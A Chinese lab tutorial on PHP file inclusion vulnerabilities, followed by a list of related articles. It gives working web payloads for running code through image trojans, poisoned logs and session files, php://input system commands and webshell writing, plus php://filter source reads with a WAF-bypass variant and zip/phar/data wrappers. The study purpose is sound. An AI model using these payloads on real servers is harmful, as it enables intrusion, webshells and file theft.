文件包含漏洞特点和php封装伪协议
渗透学习
文件包含漏洞
文章目录
- 渗透学习
- 前言
- *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。*
- 一、文件包含漏洞
- 二、实验步骤
- 1.文件包含特点
- 2.本地包含配合文件上传包含图片马
- 3.包含Apache日志文件
- 4.PHP封装伪协议之php流input
- 5.PHP封装伪协议之php流filter
- 6.PHP封装伪协议之其他
- 总结
前言
本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。
文件包含漏洞将用实验案例的方式介绍文件包含漏洞的成因特点,利用方法。在了解文件包含漏洞的危害的同时学习各类文件的包含、本地包含配合文件上传包含图片马和php封装伪协议。
本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。
一、文件包含漏洞
文件包含指把可重复使用的函数写入到单个文件,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。
文件包含漏洞原理:在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意代码的注入。
文件包含函数:
include():找不到被包含文件时会产生警告
include_once():与include()类似,代码已经被包含则不会再次包含
require():找不到被包含的文件时会产生致命错误
require_once():与require()类似,代码已经被包含则不会再次包含
利用条件:
1.include等函数通过动态执行变量的方式引入需要包含的文件
2.用户能控制该动态变量
在包含php文件和未知后缀名的文件(xxx)时,由于文件内容符合PHP语法规则,代码都可以执行,除此之外,jpg文件、rar文件、txt文件、doc文件等,只要文件内容符合PHP语法规则,代码都可以执行。
文件包含漏洞可以分为LFI(本地文件包含)和RFI(远程文件包含)两种。区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
二、实验步骤
1.文件包含特点
访问include.php,文件包含环境
在浏览器中访问http://ip/include/include.php?page=01/1.jpg
在浏览器中访问http://ip/include/include.php?page=01/1.rar
在浏览器中访问http://ip/include/include.php?page=01/phpinfo.xxx
因此,只要文件内容符合PHP语法规则,代码都可以执行。
另外,也可以利用此漏洞读取敏感文件等
2.本地包含配合文件上传包含图片马
通过文件上传漏洞上传图片马(点击此补习文件上传知识),图片马不能解析,因此利用PHP文件包含漏洞解析图片马。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
先新建要上传的1.php文件
再从网上下载一张图片在CMD制作图片马
上传图片马文件
问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞
访问http://ip/include/include.php?page=…/up/upload/info.jpg(…返回上一级目录),包含图片马,图片马成功解析
掌握文件上传+文件包含的组合漏洞,在绕过上传的检测时可以制作图片马上传,图片马上传成功不能直接解析,可以利用文件包含的特点进行解析图片马。
3.包含Apache日志文件
找到Apache路径,利用包含漏洞包含日志文件获取Webshell。
Apache两个日志文件:access.log、error.log
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log
访问
?page=<?php phpinfo();?>
在access.log里出现记录
此时访问access.log
不会触发php脚本,因为<被编码无法生成。
解决方案:去BurpSuite里修改,在传入access.log里之前修改信息。
包含日志文件位置:
1.Apache+Linux日志默认路径
/etc/httpd/logs/access_log或/var/log/httpd/access log
2.Apache+Windows日志默认路径
XAMPP套件:xampp\apache\logs/access.log
phpStudy套件:phpStudy\Apache\logs/access/log
3.IIS6默认日志文件位置
C:WIDOWS\system32\Logfiles
4.IIS7默认日志文件位置
%SystemDrive%\inetpub\logs\LogFiles
5.Nginx日志默认位置
用户安装目录的logs目录下,也可以通过其配置文件nginx.conf,获取到日志的存在路径
6.SSH日志文件
ssh‘<?php phpinfo();?>'IP
7.session文件
在phpinfo页面的session.save_path参数处获取session文件路径
或者猜测常用路径:
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
包含方法:
访问漏洞页面,在参数中构造payload:
session.php?a=<?php phpinfo();?>
然后通过BurpSuite抓包获取PHPSESSID,其文件名就是sess_[PHPSESSID],利用文件包含漏洞跨目录包含session文件。
4.PHP封装伪协议之php流input
通过文件包含漏洞,利用PHP封装伪协议,发送POST数据进行命令执行。
PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。(对allow_url_include:on,allow_url_fopen不做要求)
实验步骤:
访问http://ip/include/include.php?page=php://input,post data"<?php phpinfo();?>“,并发送数据执行。
发送”<?php system(‘dir’);?>"数据执行系统命令
发送"<?php system(‘whoami’);?>"数据执行系统命令
发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件
访问http://ip/include/include.php?page=shell.php
利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。
5.PHP封装伪协议之php流filter
读取文件(对allow_url_include和allow_url_fopen都不做要求)
?page=php://filter/read=convert.base64-encode/resource=index.php
(index.php即想要读的文件)通过指定末尾的文件,可以读取base64加密后的文件源码,之后再base64解码一下就行,虽然不能直接获取到shell等,但能读取敏感文件危害也很大。
解码得:
其他姿势:
?page=php://filter/convert.base64-encode/resource=index.php
效果相同,少了read关键词,可以绕过一些waf
6.PHP封装伪协议之其他
对伪协议的用法总结如下:
zip://
?page=zip://C:/Users/40454/Desktop/text.jpg%23text.txt
先将要执行的PHP代码写好文件名为text.txt,将text.txt进行ZIP压缩,压缩文件名为text.zip,如果可以上传zip文件便直接上传,若不能便将text.zip重命名为text.jpg再上传,获取上传文件所在位置之后执行上述payload。
使用zip协议需要指定绝对路径,使用相对路径会包含失败;
同时将#编码为%23
phar://
利用姿势:
假如有个文件test.txt,打包成zip压缩包,指定绝对路径(或者使用相对路径)
?page=phar://C:/Users/40454/Desktop/text.zip%23text.txt
或
?page=phar://C:/Users/40454/Desktop/text.jpg%23text.txt
data://
命令执行(php版本大于等于5.2,allow_url_include和allow_url_fopen都为on的状态)
?page=data://text/palin,<?php phpinfo();?>
或
?page=data://text/palin;base64,PD9waHAgcGhwaW5mbygpPz4=
总结
以上结合实验案例介绍了文件包含漏洞的特点、文件包含漏洞和文件上传漏洞的组合使用使用图片马、包含日志文件等漏洞和php封装伪协议。包含了大部分常见的文件包含漏洞。总而言之,文件包含漏洞的一大特性是只要符合php的语法规则,代码就可以执行。
文件包含漏洞特点和php封装伪协议相关推荐
- 【web安全】——文件包含漏洞
作者名:Demo不是emo 主页面链接:主页传送门 创作初心:一切为了她 座右铭:不要让时代的悲哀成为你的悲哀 专研方向:网络安全,数据结构 每日emo:可后来,除了梦以外的地方,我再 ...
- php伪协议语法,php文件包含漏洞(input与filter)
php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...
- 文件包含漏洞分析和防御
目录 简介 形成原因 文件包含函数 判断类型 文件包含 本地文件包含(LFI) 防御 本地包含技巧 php://协议的使用 data:协议 日志包含: session 远程文件包含(RFI) 文件读取 ...
- 南邮杯CTF 文件包含漏洞实战
今天继续给大家介绍CTF刷题,本文主要内容是南邮杯CTF 文件包含漏洞实战. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未 ...
- 90.网络安全渗透测试—[常规漏洞挖掘与利用篇6]—[文件包含-PHP封装伪协议详解实战示例]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含-PHP封装伪协议简介 1.php内置封装协议 2.data://命令执行-伪协议 3.zip:// ...
- 文件包含漏洞及PHP伪协议
文件包含漏洞及PHP伪协议 文件包含漏洞 1. 原理 攻击利用的原理 攻击成功的条件 2. 分类 本地文件包含 LFI的利用 远程文件包含 3. 文件包含漏洞防范 禁止0字节 在PHP中配置open_ ...
- PHP伪协议-文件包含漏洞常用的伪协议
在实战中文件包含漏洞配合PHP的伪协议可以发挥重大的作用,比如读取文件源码,任意命令执行或者开启后门获取webshell等,常用的伪协议有 php://filter 读取文件源码 php://inpu ...
- php伪协议漏洞_php伪协议利用文件包含漏洞
php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...
- 文件包含漏洞 文件伪协议利用
目录 0x0 文件包含漏洞原理 0x1 检测文件包含漏洞 0x2 文件包含漏洞类型 0x3 文件协议流 0x4 实战 简介 #文件包含漏洞 原理,检测,类型,利用,修复等 #文件包含各个脚本代码 AS ...
最新文章
- 统计学:统计学概述(一)
- jQuery对象与DOM对象的相互转化
- MIT研发无人机仓库管理系统,或将帮沃尔玛省下几十亿美元
- IE userdata
- scrapy 的三个入门应用场景
- 河北移动引入物联网4G专网APN提升交警执法效率
- Domino下邮箱用户数据库限额自助释放物理空间
- 评价微型计算机总线的性能指标,计算机组成原理学习笔记(3):总线
- php开发添加表情功能,WordPress网站评论区如何实现添加表情包功能?
- Oracle Net Services 配置:Xlib: connection to :0.0 refused by server
- 经济学家德鲁克的三个故事
- 桌面好看的linux系统,可以当桌面的LINUX漂亮壁纸
- C语言输出菱形不是梦
- CDN最通俗易懂的CDN解释
- 手机显示服务器维护是啥意思,手机系统维护怎么解除_手机显示系统维护是什么意思_游戏吧...
- SCI论文写作中常用的连接词和短语
- linux下敏感文件(账号密码)查找—内网渗透linux主机密码收集
- 【网络】Padavan固件获取运营商ipv6设置
- 左移赋值运算符 (<<=)
- win10下Abaqus 6.14 安装